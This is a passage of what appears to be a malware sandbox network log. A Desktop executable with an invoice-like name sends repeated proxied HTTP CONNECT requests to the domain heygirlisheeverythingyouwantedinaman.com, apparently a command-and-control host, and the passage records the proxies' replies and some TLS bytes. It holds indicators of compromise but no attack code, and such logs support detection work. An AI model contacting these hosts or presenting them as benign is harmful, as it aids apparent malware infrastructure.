918	192.168.2.11	52983	5.75.192.13	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.858825922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
919	192.168.2.11	52953	185.101.16.52	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.859155893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
920	192.168.2.11	52379	162.214.227.68	51923	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.865578890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
921	192.168.2.11	52988	13.38.176.104	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.866532087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.164552927 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:23 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
922	192.168.2.11	53124	104.20.75.31	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.871366978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.025840998 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
923	192.168.2.11	53050	45.60.186.208	27488	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.883274078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
924	192.168.2.11	53139	162.159.242.104	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.886914968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.049982071 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
925	192.168.2.11	53005	121.182.138.71	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.890940905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
926	192.168.2.11	52906	106.105.218.244	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.893177986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
927	192.168.2.11	52963	103.231.78.36	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.915554047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
928	192.168.2.11	53055	198.199.86.11	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.915832043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.164227962 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
929	192.168.2.11	53014	125.141.139.60	5566	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.915832996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:51.032619953 CET	755	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 6f 72 20 69 73 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 6f 72 20 69 73 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 54 6f 72 20 61 73 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 6f 72 20 69 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 21 2d 2d 20 50 6c 75 73 20 74 68 69 73 20 63 6f 6d 6d 65 6e 74 2c 20 74 6f 20 6d 61 6b 65 20 74 68 65 20 62 6f 64 79 20 72 65 73 70 6f 6e 73 65 20 6d 6f 72 65 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 73 6f 20 20 20 20 20 20 49 45 20 77 69 6c 6c 20 62 65 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 70 6c 61 79 20 69 74 2e 20 43 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 20 20 20 20 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 2e 2d 2d 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>Tor is not an HTTP Proxy</title></head><body><h1>Tor is not an HTTP Proxy</h1><p>It appears you have configured your web browser to use Tor as an HTTP proxy.This is not correct: Tor is a SOCKS proxy, not an HTTP proxy.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.... Plus this comment, to make the body response more than 512 bytes, so IE will be willing to display it. Comment comment comment comment comment comment comment comment comment comment comment comment.--></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
930	192.168.2.11	53171	184.169.154.119	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.920321941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.094176054 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:23 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:42:23.101931095 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 26 5e f4 69 be 71 f1 82 99 89 5c 4e bc 08 40 f5 91 0d 5a d8 00 74 e8 04 85 74 31 91 9f 62 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e&^iq\N@Ztt1b*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:42:23.275254011 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 59 65 12 50 e8 bd fc 06 11 c0 db 8a b9 a4 da b4 a4 79 00 ff 10 a4 d9 d9 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9YePyDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311152138Z260311152138Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:42:23.291560888 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 ed d4 3a 67 e3 eb 43 cc 71 8c 48 f7 88 c9 5b 33 46 70 6d 2e 90 39 87 8d 5a c5 42 ce d9 0a 61 4c 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 43 a2 3d 28 04 f6 b8 54 bc 49 85 4e c0 d9 c8 65 d1 92 70 b9 df Data Ascii: %! :gCqH[3Fpm.9ZBaL(C=(TINepN,8
Mar 11, 2024 16:42:23.463793993 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 39 04 1e b8 d4 9b 81 0b 25 95 f3 a3 da ca 80 20 bc 7a c6 ac dc c9 d6 5a 88 78 52 ca d2 b8 26 9b 4a 59 64 31 1e bf e6 05 Data Ascii: (9% zZxR&JYd1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
931	192.168.2.11	50961	96.80.235.1	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.921547890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.985527992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.986125946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.188914061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:47.208981037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:59.282236099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:11.282191038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:35.283272028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:23.282062054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:27.163922071 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
932	192.168.2.11	53108	23.19.244.109	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.924204111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
933	192.168.2.11	52997	45.11.95.165	5213	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.929594994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
934	192.168.2.11	53023	23.137.248.197	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.944750071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.241542101 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
935	192.168.2.11	53021	211.222.252.187	8197	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.955873966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
936	192.168.2.11	53039	58.75.126.235	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.958112001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
937	192.168.2.11	53022	110.12.211.140	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.958895922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
938	192.168.2.11	52447	38.7.18.102	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.962718010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.440121889 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 16:42:32.454401970 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
939	192.168.2.11	53026	121.66.198.76	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.963717937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
940	192.168.2.11	53051	94.130.94.45	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.972007036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.280155897 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
941	192.168.2.11	53034	120.26.68.107	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.976742029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.300255060 CET	442	IN	HTTP/1.1 405 Method Not Allowed Date: Mon, 11 Mar 2024 15:42:23 GMT Server: Apache Allow: OPTIONS,GET,HEAD,POST Vary: Accept-Encoding Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 43 4f 4e 4e 45 43 54 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 65 20 55 52 4c 20 2f 69 6e 64 65 78 2e 68 74 6d 6c 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 